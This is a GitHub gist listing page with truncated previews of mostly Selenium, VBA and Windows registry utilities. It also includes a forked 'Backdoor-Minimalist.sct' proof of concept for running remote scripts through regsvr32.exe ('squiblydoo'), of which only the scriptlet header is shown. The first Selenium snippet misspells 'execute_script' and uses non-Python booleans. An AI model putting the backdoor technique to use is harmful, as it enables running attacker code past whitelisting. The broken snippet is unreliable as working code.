Skip to content

Instantly share code, notes, and snippets.

@florentbr
florentbr / #focus-next.py
Last active September 29, 2016 13:51
Selenium - Focus the next/previous element when the Tab key is not supported
JS_TAB_FOCUS = open('tab-focus.js', 'r').read()
# focus the next element
elem_next = driver.execute_scrit(JS_TAB_FOCUS, false)
elem_next.send_keys("abcd")
# focus the previous element
elem_prev = driver.execute_scrit(JS_TAB_FOCUS, true)
elem_prev.click()
@florentbr
florentbr / mozilla-central-fb40bcb6155b-fix#729.patch
Last active June 7, 2017 17:11
Patch for marionette issue #729
--- testing/marionette/driver.js 2017-06-07 12:34:43.000000000 +0100
+++ testing/marionette/driver.js 2017-06-07 16:08:25.014583900 +0100
@@ -887,7 +887,8 @@
}
opts.timeout = timeout;
- let wargs = evaluate.fromJSON(args, this.curBrowser.seenEls, sb.window);
+ let container = {frame: sb.window, shadowRoot: undefined};
+ let wargs = evaluate.fromJSON(args, this.curBrowser.seenEls, container);
let evaluatePromise = evaluate.sandbox(sb, script, wargs, opts);
Attribute VB_Name = "JsonIO"
'
' Version: 2019/09/10
'
' Module to read and write the JSON format (https://www.json.org)
' By default `{ }` is parsed as a `Dictionary` and `[ ]` as a base 1 Array.
'
' Usage:
'
' ' Parse a JSON string '
@florentbr
florentbr / 7-zip-default-extract.reg
Created August 2, 2021 21:44 — forked from zabbarob/7-zip-default-extract.reg
Make 7-Zip extract to folder when double-clicking archives. (based on http://superuser.com/a/447791)
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\7-Zip.001\shell]
@="extract"
[HKEY_CLASSES_ROOT\7-Zip.001\shell\extract]
@="Extract to Folder"
[HKEY_CLASSES_ROOT\7-Zip.001\shell\extract\command]
@="\"C:\\Program Files\\7-Zip\\7zG.exe\" x \"%1\" -o*"
[HKEY_CLASSES_ROOT\7-Zip.7z\shell]
@florentbr
florentbr / Backdoor-Minimalist.sct
Created August 4, 2021 22:08 — forked from enigma0x3/Backdoor-Minimalist.sct
Execute Remote Scripts Via regsvr32.exe - Referred to As "squiblydoo" Please use this reference...
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[
@florentbr
florentbr / #wd-upload-file.py
Last active January 4, 2022 04:27
Selenium - Upload a file
from selenium import webdriver
from selenium.webdriver.remote.webelement import WebElement
from selenium.common.exceptions import NoSuchElementException
import os.path
def upload_files(element, *files):
driver = element.parent
isLocal = not driver._is_remote or '127.0.0.1' in driver.command_executor._url
paths = []
# disable the file picker
driver.execute_script("""
HTMLInputElement.prototype.click = function () {
if (this.type !== 'file') {
HTMLElement.prototype.click.call(this);
}
else if (!this.parentNode) {
this.style.display = 'none';
this.ownerDocument.documentElement.appendChild(this);
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
import os, time, base64
def get_downloaded_files(driver):
if not driver.current_url.startswith("chrome://downloads"):
driver.get("chrome://downloads/")
@florentbr
florentbr / #drag-drop.py
Last active March 9, 2023 14:48
Selenium - HTML5 drag and drop
from selenium import webdriver
import time
# JavaScript: HTML5 Drag and drop script
# param1 (WebElement): Source element to drag
# param2 (WebElement): Optional - target element for the drop
# param3 (int): Optional - Drop offset x relative to the target if any or source element
# param4 (int): Optional - Drop offset y relative to the target if any or source element
# param4 (int): Optional - Delay in milliseconds (default = 1ms) for dragging and dropping
# param5 (string): Optional - Key pressed (alt or ctrl or shilf)
VERSION 1.0 CLASS
BEGIN
MultiUse = -1 'True
END
Attribute VB_Name = "Dictionary"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_Description = "Collection of keys and items which maps keys to items with a minimum cost O(1)."